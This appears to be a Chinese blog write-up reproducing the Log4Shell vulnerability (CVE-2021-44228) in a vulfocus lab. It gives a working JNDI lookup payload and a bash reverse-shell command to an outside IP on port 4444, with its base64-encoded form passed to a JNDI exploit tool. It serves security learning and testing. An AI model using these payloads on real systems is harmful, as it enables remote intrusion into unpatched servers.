log4j2-rce漏洞复现(CVE-2021-44228)

漏洞介绍

Apache Log4j2是一个Java的日志组件,在特定的版本中由于其启用了lookup功能,从而导致产生远程代码执行漏洞。

影响版本:Apache Log4j2 2.0-beta9 - 2.15.0(不包括安全版本 2.12.2、2.12.3 和 2.3.1)

漏洞编号:CVE-2021-44228

漏洞复现

利用vulfocus搭建并启动靶场

log4j2-rce漏洞复现(CVE-2021-44228)_第1张图片

DNSLog验证

通过DNSLog Platform平台获取到域名skvgq7.dnslog.cn,构造payload:${jndi:ldap://skvgq7.dnslog.cn},浏览器点击???并使用Burpsuite抓包,替换payload参数,此时发包会导致服务器400错误

log4j2-rce漏洞复现(CVE-2021-44228)_第2张图片

通过Burpsuite自带的编码工具对其进行URL编码

log4j2-rce漏洞复现(CVE-2021-44228)_第3张图片

编码后再次发送发送请求包

log4j2-rce漏洞复现(CVE-2021-44228)_第4张图片

在DNSLog网站成功接收到解析记录

log4j2-rce漏洞复现(CVE-2021-44228)_第5张图片

JNDI注入反弹shell

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

使用方式

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

反弹shell指令

bash -i >& /dev/tcp/ip/port 0>&1

此处的ip为47.106.102.84,port可使用任意未被占用的端口,此处指定为4444

bash -i >& /dev/tcp/47.106.102.84/4444 0>&1

将此条命令进行base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDYuMTAyLjg0LzQ0NDQgMD4mMQ==

编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定的ip地址

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDYuMTAyLjg0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.106.102.84 

log4j2-rce漏洞复现(CVE-2021-44228)_第6张图片

在新的窗口监听4444端口

log4j2-rce漏洞复现(CVE-2021-44228)_第7张图片 

替换工具生成的payload:rmi://47.106.102.84 :1099/of6rlz 到Burpsuite:

log4j2-rce漏洞复现(CVE-2021-44228)_第8张图片

log4j2-rce漏洞复现(CVE-2021-44228)_第9张图片

编码后发送到靶机:

log4j2-rce漏洞复现(CVE-2021-44228)_第10张图片

监听窗口成功接收到反弹的shell:

log4j2-rce漏洞复现(CVE-2021-44228)_第11张图片

 

你可能感兴趣的:(log4j2)